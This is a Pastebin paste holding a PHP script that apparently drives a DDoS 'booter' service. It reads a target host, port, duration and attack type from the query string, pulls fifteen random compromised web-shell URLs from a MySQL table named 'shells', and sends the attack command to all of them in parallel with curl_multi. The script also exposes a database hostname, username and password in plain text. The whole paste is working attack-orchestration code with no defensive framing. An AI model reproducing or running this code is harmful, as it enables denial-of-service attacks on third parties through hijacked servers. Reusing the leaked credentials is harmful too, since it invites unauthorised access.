Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $host = $_GET['host'];
- $time = $_GET['time'];
- $port = $_GET['port'];
- $type = $_GET['type'];
- $dbip = "mysql.nl.santrex.net";
- $dbuser = "carbonbo_boot";
- $dbpass = "X8HZSiTlhKHg";
- $dbname = "carbonbo_hub";
- $fullcurl = "?host=".$host."&time=".$time."&port=".$port."&type=".$type;
- ignore_user_abort(TRUE);
- $con = mysql_connect($dbip,$dbuser,$dbpass);
- mysql_select_db($dbname, $con);
- $SQL = mysql_query("SELECT url FROM shells ORDER BY RAND() LIMIT 15") ;
- $mh = curl_multi_init();
- $handles = array();
- while($resultSet = mysql_fetch_array($SQL)){ //While fetching the rows
- $ch = curl_init($resultSet['url'] . $fullcurl); //Load the urls and send GET data
- curl_setopt($ch, CURLOPT_TIMEOUT, 10); //Only load it for 10 seconds (Long enough to send the data, can reduce this if your server is more powerful)
- curl_multi_add_handle($mh, $ch); //Add the handles to the multi_handle
- $handles[] = $ch;
- //Load the array into a handle
- }
- $running = null; // Create a status variable so we know when exec is done.
- do { //execute the handles
- curl_multi_exec($mh,$running); // Call exec. This call is non-blocking, meaning it works in the background.
- usleep(200000); // Sleep while it's executing. You could do other work here, if you have any.
- } while ($running > 0); // Keep going until it's done.
- foreach($handles as $ch) // For loop to remove (close) the regular handles.
- {
- curl_multi_remove_handle($mh, $ch); // Remove the current array handle.
- }
- curl_multi_close($mh); // Close the multi handle
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement